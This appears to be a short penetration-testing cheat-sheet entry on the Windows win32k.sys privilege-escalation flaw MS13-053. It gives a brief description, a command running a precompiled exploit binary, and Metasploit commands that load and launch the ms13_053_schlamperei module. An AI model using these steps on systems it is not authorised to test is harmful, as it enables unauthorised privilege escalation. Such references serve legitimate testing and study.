win32k.sys in the kernel-mode drivers in Microsoft Windows XP SP2 and SP3, 
Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, and Windows 7 SP1 does not properly handle objects in memory, 
which allows local users to gain privileges via a crafted application, aka "Win32k Information Disclosure Vulnerability."

c:\> MS13-053.exe

msf > use exploit/windows/local/ms13_053_schlamperei
msf exploit(ms13_053_schlamperei) > show targets
    ...targets...
msf exploit(ms13_053_schlamperei) > set TARGET <target-id>
msf exploit(ms13_053_schlamperei) > show options
    ...show and set options...
msf exploit(ms13_053_schlamperei) > exploit